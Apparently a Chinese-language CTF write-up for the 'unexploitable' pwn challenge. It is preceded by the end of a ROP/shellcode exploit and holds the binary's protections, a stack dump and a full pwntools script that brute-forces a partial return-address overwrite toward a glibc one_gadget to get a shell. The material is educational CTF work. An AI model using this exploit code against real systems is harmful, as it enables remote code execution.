payload = changeb(46)+changeb(47)+changeb(102)+changeb(108)+changeb(97)+changeb(103)+changeb(0)*2
payload += change(0)*(20-1)
payload += change(rop_start) + change(ret)
payload += change(pop_rax_ret) + change(10) + change(pop_rdi_ret) + change(heapbase) + change(pop_rsi_ret) + change(0x7000) + change(pop_rdx_ret) + change(7) + change(syscall_ret)
payload += change(shellcode_addr)
payload += shellcode

success("payload len: "+hex(len(payload)))
add(7,0x200)
edit(7,payload)

#debug()
delete(7)

p.interactive()

unexploitable

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
unexploitable: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d66afeabecb7b7190cfbdbc4bb6b5846c896e2a, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

入侵思路

1
2
3
4
5
6
ssize_t pwn()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

return read(0, buf, 0x30000uLL);
}

只有一个栈溢出,没法泄露,没有后门

先进行调试,断点到 pwn 返回之前:

1
2
3
4
5
6
7
8
00:0000│ rsp 0x7ffc641e9d38 —▸ 0x564dcdc0070a ◂— add    byte ptr [rax - 0x7b], cl
01:00080x7ffc641e9d40 —▸ 0x564dcdc00810 ◂— push r15
02:00100x7ffc641e9d48 —▸ 0x7f535f4dec87 (__libc_start_main+231) ◂— mov edi, eax
03:00180x7ffc641e9d50 ◂— 0x1
04:00200x7ffc641e9d58 —▸ 0x7ffc641e9e28 —▸ 0x7ffc641ea270 ◂— './unexploitable'
05:00280x7ffc641e9d60 ◂— 0x10000c000
06:00300x7ffc641e9d68 —▸ 0x564dcdc007f1 ◂— push rbp
07:00380x7ffc641e9d70 ◂— 0x0
  • 我们唯一的机会就是爆破 __libc_start_mainone_gadget
  • __libc_start_main 前面还有两个地址,我们不能覆盖

有一个方法可以不破坏栈,并且修改 __libc_start_main

  • 利用 pwn 中的溢出覆盖 pwn 的返回地址为 pwn,这样就相当于 pop 掉了一个地址
  • 重复上述操作,直到可以覆盖 __libc_start_main
  • 覆盖最后 4*4 bit,最后 3*4 bit 位恒定,每次都有 1/16 的概率可以命中
  • 覆盖 __libc_start_main3*4 bit,每次都有 1/4096 的概率可以命中

八字硬点还是可以拿到 flag 的

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from signal import pause
from pwn import *

arch = 64
challenge = './unexploitable'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0x7F0)\n")
pause()

from pwn import *

arch = 64
challenge = './unexploitable'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0x7F0)\n")
pause()

one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
up_gadgets = [0x1e92a5,0x1e9302,0x2a42fc]

while(1):
try:
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')

payload = 'a'*0x10 + 'b'*0x8
payload += p16(0x07D0)
p.send(payload)
p.send(payload)
payload = 'a'*0x10 + 'b'*0x8
#payload += p8(0xa5) + p8(0x92) + p8(0x1e)
#payload += p8(0x02) + p8(0x93) + p8(0x1e)
payload += p8(0xfc) + p8(0x42) + p8(0x2a)
p.send(payload)
#debug()
sleep(0.001)
p.sendline('cat flag')
flag = p.recv()
success("flag >> "+flag)
p.interactive()
p.close()
except Exception:
p.close()

p.interactive()